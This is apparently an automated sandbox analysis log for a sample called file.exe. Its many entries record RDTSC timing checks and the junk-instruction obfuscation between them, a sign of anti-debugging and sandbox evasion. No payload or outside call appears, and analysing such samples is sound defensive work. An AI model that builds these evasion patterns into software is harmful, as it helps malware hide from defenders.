Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3EC977 second address: 3EC97B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3EF27D second address: 3EF282 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3EF282 second address: 3EF28C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F856106A856h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3EF28C second address: 3EF290 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3783BE second address: 3783C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3783C8 second address: 3783CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3783CC second address: 3783D2 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F42E4 second address: 3F4302 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop esi 0x00000006 jng 00007F856102FBFDh 0x0000000c jmp 00007F856102FBEFh 0x00000011 push edi 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F30B8 second address: 3F30C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F856106A856h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F39A2 second address: 3F39A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F3AFC second address: 3F3B04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F8A0D second address: 3F8A20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 jmp 00007F856102FBECh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3FE333 second address: 3FE35D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F856106A864h 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F856106A860h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3FE35D second address: 3FE3A2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jo 00007F856102FBE6h 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007F856102FBF0h 0x00000010 popad 0x00000011 pushad 0x00000012 push eax 0x00000013 pop eax 0x00000014 jnc 00007F856102FBE6h 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d pushad 0x0000001e jmp 00007F856102FBF0h 0x00000023 jnc 00007F856102FBE8h 0x00000029 push eax 0x0000002a push edx 0x0000002b pushad 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 37D4AB second address: 37D4AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 37D4AF second address: 37D4BF instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jg 00007F856102FBE6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3FCEE5 second address: 3FCF02 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F856106A85Ah 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jp 00007F856106A858h 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3FCF02 second address: 3FCF36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F856102FBEDh 0x00000009 push edx 0x0000000a pop edx 0x0000000b jmp 00007F856102FBF8h 0x00000010 popad 0x00000011 jl 00007F856102FBECh 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3FCF36 second address: 3FCF3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3FCF3A second address: 3FCF44 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F856102FBE6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3FD097 second address: 3FD0AE instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F856106A856h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F856106A85Bh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3FD0AE second address: 3FD0B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3FD0B6 second address: 3FD0DC instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F856106A85Ah 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F856106A862h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3FD7D0 second address: 3FD7F9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F856102FBF7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jp 00007F856102FBE6h 0x00000010 jns 00007F856102FBE6h 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3FD7F9 second address: 3FD81D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jng 00007F856106A856h 0x00000009 jnl 00007F856106A856h 0x0000000f pop esi 0x00000010 ja 00007F856106A858h 0x00000016 push edi 0x00000017 pop edi 0x00000018 pop edx 0x00000019 pop eax 0x0000001a push ecx 0x0000001b push edi 0x0000001c jo 00007F856106A856h 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3FD81D second address: 3FD828 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3FD828 second address: 3FD82C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3FD82C second address: 3FD830 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3FD982 second address: 3FD988 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3FD988 second address: 3FD9AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F856102FBF0h 0x0000000d jmp 00007F856102FBEBh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3FDC14 second address: 3FDC18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3FDC18 second address: 3FDC33 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnp 00007F856102FBECh 0x0000000c jc 00007F856102FBE6h 0x00000012 pop ebx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 pop edx 0x00000018 pushad 0x00000019 popad 0x0000001a pop eax 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3FDC33 second address: 3FDC39 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3FDDA0 second address: 3FDDAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jnp 00007F856102FBE6h 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3FDDAF second address: 3FDDB3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3FDDB3 second address: 3FDDB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3FDDB9 second address: 3FDDD3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F856106A866h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3FE1E5 second address: 3FE1EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4055EE second address: 4055F4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4055F4 second address: 405608 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F856102FBE6h 0x0000000a jmp 00007F856102FBEAh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 405608 second address: 40562B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F856106A861h 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e pushad 0x0000000f push edx 0x00000010 pop edx 0x00000011 push esi 0x00000012 pop esi 0x00000013 push esi 0x00000014 pop esi 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40562B second address: 405646 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jno 00007F856102FBE8h 0x0000000b jl 00007F856102FBF2h 0x00000011 jns 00007F856102FBE6h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3734B7 second address: 3734BC instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 404700 second address: 404704 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 404F2E second address: 404F55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jmp 00007F856106A868h 0x0000000a push eax 0x0000000b push edx 0x0000000c jns 00007F856106A856h 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4050CD second address: 4050EE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a jmp 00007F856102FBF7h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 409BE3 second address: 409C03 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F856106A866h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c pop esi 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 409C03 second address: 409C0F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 409C0F second address: 409C13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 408B3F second address: 408B45 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C9263 second address: 3C9269 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C9269 second address: 3C9282 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F856102FBEAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jnp 00007F856102FBE8h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C933F second address: 3C9344 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C953E second address: 3C954C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F856102FBEAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C954C second address: 3C9562 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F856106A858h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c jo 00007F856106A85Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C9562 second address: 3C956A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C956A second address: 3C956E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C956E second address: 3C9572 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C9572 second address: 20E9D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push edx 0x0000000b call 00007F856106A858h 0x00000010 pop edx 0x00000011 mov dword ptr [esp+04h], edx 0x00000015 add dword ptr [esp+04h], 00000017h 0x0000001d inc edx 0x0000001e push edx 0x0000001f ret 0x00000020 pop edx 0x00000021 ret 0x00000022 movzx edi, cx 0x00000025 push dword ptr [ebp+122D0931h] 0x0000002b jmp 00007F856106A85Dh 0x00000030 call dword ptr [ebp+122D3547h] 0x00000036 pushad 0x00000037 jc 00007F856106A862h 0x0000003d jg 00007F856106A85Ch 0x00000043 xor eax, eax 0x00000045 jnp 00007F856106A857h 0x0000004b cld 0x0000004c mov edx, dword ptr [esp+28h] 0x00000050 clc 0x00000051 mov dword ptr [ebp+122D36F8h], eax 0x00000057 mov dword ptr [ebp+122D1D2Ah], eax 0x0000005d mov esi, 0000003Ch 0x00000062 ja 00007F856106A857h 0x00000068 clc 0x00000069 add esi, dword ptr [esp+24h] 0x0000006d xor dword ptr [ebp+122D1D6Eh], ecx 0x00000073 lodsw 0x00000075 jmp 00007F856106A867h 0x0000007a add eax, dword ptr [esp+24h] 0x0000007e jmp 00007F856106A85Ah 0x00000083 mov ebx, dword ptr [esp+24h] 0x00000087 add dword ptr [ebp+122D1D2Ah], ecx 0x0000008d cmc 0x0000008e push eax 0x0000008f pushad 0x00000090 jl 00007F856106A85Ch 0x00000096 push eax 0x00000097 push edx 0x00000098 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C9682 second address: 3C9686 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C9686 second address: 20E9D4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 pushad 0x0000000a jno 00007F856106A856h 0x00000010 push edx 0x00000011 pop edx 0x00000012 popad 0x00000013 jmp 00007F856106A85Dh 0x00000018 popad 0x00000019 nop 0x0000001a add dword ptr [ebp+122D34E9h], edi 0x00000020 mov edx, dword ptr [ebp+122D3610h] 0x00000026 push dword ptr [ebp+122D0931h] 0x0000002c mov ecx, 634F4413h 0x00000031 call dword ptr [ebp+122D3547h] 0x00000037 pushad 0x00000038 jc 00007F856106A862h 0x0000003e jg 00007F856106A85Ch 0x00000044 xor eax, eax 0x00000046 jnp 00007F856106A857h 0x0000004c cld 0x0000004d mov edx, dword ptr [esp+28h] 0x00000051 clc 0x00000052 mov dword ptr [ebp+122D36F8h], eax 0x00000058 mov dword ptr [ebp+122D1D2Ah], eax 0x0000005e mov esi, 0000003Ch 0x00000063 ja 00007F856106A857h 0x00000069 clc 0x0000006a add esi, dword ptr [esp+24h] 0x0000006e xor dword ptr [ebp+122D1D6Eh], ecx 0x00000074 lodsw 0x00000076 jmp 00007F856106A867h 0x0000007b add eax, dword ptr [esp+24h] 0x0000007f jmp 00007F856106A85Ah 0x00000084 mov ebx, dword ptr [esp+24h] 0x00000088 add dword ptr [ebp+122D1D2Ah], ecx 0x0000008e cmc 0x0000008f push eax 0x00000090 pushad 0x00000091 jl 00007F856106A85Ch 0x00000097 push eax 0x00000098 push edx 0x00000099 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C9737 second address: 3C973B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C973B second address: 3C9767 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jmp 00007F856106A85Bh 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 pushad 0x00000012 push ebx 0x00000013 jmp 00007F856106A85Eh 0x00000018 pop ebx 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C9767 second address: 3C976B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C976B second address: 3C9793 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F856106A856h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov eax, dword ptr [eax] 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F856106A867h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C9793 second address: 3C97AF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F856102FBF8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C97AF second address: 3C97B4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C9881 second address: 3C9885 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C98E9 second address: 3C9929 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F856106A858h 0x0000000a push edi 0x0000000b pop edi 0x0000000c popad 0x0000000d xchg eax, esi 0x0000000e push 00000000h 0x00000010 push ebx 0x00000011 call 00007F856106A858h 0x00000016 pop ebx 0x00000017 mov dword ptr [esp+04h], ebx 0x0000001b add dword ptr [esp+04h], 0000001Ch 0x00000023 inc ebx 0x00000024 push ebx 0x00000025 ret 0x00000026 pop ebx 0x00000027 ret 0x00000028 pushad 0x00000029 or dword ptr [ebp+1247DAB4h], esi 0x0000002f popad 0x00000030 nop 0x00000031 pushad 0x00000032 push eax 0x00000033 push edx 0x00000034 push eax 0x00000035 push edx 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C9929 second address: 3C992D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C992D second address: 3C9958 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F856106A856h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edi 0x0000000b push edi 0x0000000c pop edi 0x0000000d pop edi 0x0000000e popad 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F856106A869h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C9A6A second address: 3C9A93 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 mov eax, dword ptr [eax] 0x00000009 jmp 00007F856102FBF2h 0x0000000e mov dword ptr [esp+04h], eax 0x00000012 js 00007F856102FBF0h 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b pop eax 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C9C46 second address: 3C9C55 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F856106A85Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C9F81 second address: 3C9F97 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F856102FBE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d pop edx 0x0000000e popad 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push edx 0x00000013 push eax 0x00000014 pop eax 0x00000015 pop edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C9F97 second address: 3C9FA1 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F856106A85Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C9FA1 second address: 3C9FCE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 or dword ptr [ebp+12473A9Bh], eax 0x0000000d push 0000001Eh 0x0000000f mov edi, dword ptr [ebp+122D3900h] 0x00000015 push eax 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 jmp 00007F856102FBF1h 0x0000001e push esi 0x0000001f pop esi 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3CA2D0 second address: 3CA2D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3CA2D4 second address: 3CA2E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3CA2E0 second address: 3CA2E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3CA2E4 second address: 3CA2E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3CA2E8 second address: 3CA30C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b push edi 0x0000000c push edi 0x0000000d jmp 00007F856106A85Dh 0x00000012 pop edi 0x00000013 pop edi 0x00000014 mov eax, dword ptr [eax] 0x00000016 push eax 0x00000017 push edx 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b pop edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 409636 second address: 409644 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 409644 second address: 409648 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 409648 second address: 409664 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F856102FBEEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jnl 00007F856102FBE6h 0x00000011 push esi 0x00000012 pop esi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 409664 second address: 40966E instructions: 0x00000000 rdtsc 0x00000002 jg 00007F856106A856h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40966E second address: 409678 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
